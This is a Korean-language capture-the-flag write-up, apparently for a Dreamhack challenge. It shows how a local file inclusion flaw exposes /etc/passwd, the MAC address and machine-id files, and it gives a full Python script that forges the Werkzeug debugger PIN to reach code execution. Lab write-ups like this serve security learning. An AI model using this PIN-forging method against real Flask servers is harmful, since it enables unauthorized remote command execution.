문제 정보

취약점을 찾아 플래그를 획득해보세요.
플래그는 /flag를 실행하면 얻을 수 있습니다.
해당 문제는 숙련된 웹해커를 위한 문제입니다.

풀이 힌트

1. Flask Debugger Exploit

2. Python Programming

문제 풀이

더보기

문제 페이지를 들어가니, 아무것도 없고 "Hello !"만 덜렁덜렁있었다.

 

아무런 정보가 없어서 혹시나 하는 맘에 robots.txt를 요청하니, flask가 debugger 모드로 실행되고 있었다.
내가 flask를 공부했을 때 flask의 debugger 모드에서 취약점이 있으니, 배포할 때 꼭 debugger 모드로 되어있는지 체크하라고 했던 것으로 기억난다.

 

구글에 "Flask Debugger PIN exploit"이라고 검색하니 무수히 많은 블로그들의 글이 보였다.

참고 사이트
https://www.daehee.com/werkzeug-console-pin-exploit/
https://dohunny.tistory.com/10
https://lactea.kr/entry/python-flask-debugger-pin-find-and-exploit

 

참고사이트 중 하나를 들어가서 읽어보니, debugger 페이지에서 console를 사용하여 명령을 내릴 수 있고 console를 사용하기 위해 PIN이 필요로 하였다. 그 PIN은 몇가지 정보들로 생성이 가능하는데 LFI 취약점을 이용하여 그 정보들을 취득하여 PIN를 생성할 수 있다는 것이다.

 

이제 한번 위 내용을 토대로 공격을 시도하겠다.

 

PIN을 생성하는 코드는 werkzeug의 __init__.py에 들어있다고 한다. Error 메시지를 살펴보면 위치가 그대로 보인다.
이를 토대로 LFI 공격을 해볼거지만 될지는 잘 모르겠다. 일단 시도해보겠다.

 

다행히 경로+파일명을 넣으면 파일을 읽어서 출력하는 기능을 하는 것이라서 LFI 공격이 성공하였다.

 

일단 보기 좋게 vscode에 넣어서 확인을 했다. PIN을 생성하는 함수를 확인해본 결과 참고 사이트와 같아서 그대로 공격을 시도하겠다.

 

PIN를 생성하기 위해 필요한 인자값은 밑과 같다.

probably_public_bits = [
    username,	# app.py를 실행하는 사용자 이름
    modname,	# flask.app
    getattr(app, '__name__', getattr(app.__class__, '__name__')),	# Flask
    getattr(mod, '__file__', None),	# flask의 app.py 절대 경로
]
 
private_bits = [
    str(uuid.getnode()), # 서버의 MAC 주소
    get_machine_id(),	 # 서버의 '/etc/machine-id' 파일의 값 + '/proc/sys/kernel/random/boot_i' 파일의 값 + '/proc/self/cgroup' 파일의 값
]

해당 정보들을 LFI을 이용하여 구해보겠다.

 

일단 app.py를 실행하는 사용자 이름을 찾으려고 /etc/passwd 파일을 출력하였다.확인해보니 의심이 가는 사용자 이름인 dreamhack이 보였다.

 

서버의 MAC 주소를 찾기위해 /sys/class/net/eth0/address 파일을 요청하였다.
/sys/class/net/eth0/address 파일은 MAC 주소가 저장된 파일이다.

 

 

 

machine id를 구하기 위해 위 값들을 구하였다. python3.5은 /etc/machine-id 파일 값을 넣으면 되지만, python3.8은 조금 다르다.

 

_machine_id = None
 
 
def get_machine_id():
    global _machine_id
 
    if _machine_id is not None:
        return _machine_id
 
    def _generate():
        linux = b""
 
        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue
 
            if value:
                linux += value
                break
 
        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass
 
        if linux:
            return linux
 
 
    _machine_id = _generate()
    return _machine_id

위 코드는  get_machine_id 함수이다.
아주 간단하게 말하면 (/etc/machine-id 파일 값 or /proc/sys/kernel/random/boot_id 파일 값) + /proc/self/cgroup 파일 값이 return 값이다.

 

주의할 점은 return 값은 byte로 되어있어야 한다.

/proc/self/cgroup 파일 값은 13:pids:/libpod_parent/libpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d으로 되어있는데 rpartition 함수를 이용하여 libpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d을 추출하는 것이다.

 

나는 구해보니깐, b"c31eea55a29431535ff01de94bdcf5cflibpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d"으로 나온다. 이를 토대로 PIN를 구해봤다.

 

import hashlib
from itertools import chain

probably_public_bits = [
    "dreamhack",
    "flask.app",
    "Flask",
    "/usr/local/lib/python3.8/site-packages/flask/app.py",
]

private_bits = [
    "187999308485633",  # MAC 주소 16진수 -> int
    b"c31eea55a29431535ff01de94bdcf5cflibpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d",
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

이 값을 넣으니, Console Locked이 풀렸다. 

 

이제 /flag 파일을 실행하면 flag를 얻을 수 있다.

아주 간단하게 os 모듈을 이용하여 flag 파일을 실행하여 flag 값을 얻을 수 있었다.

 

복사했습니다!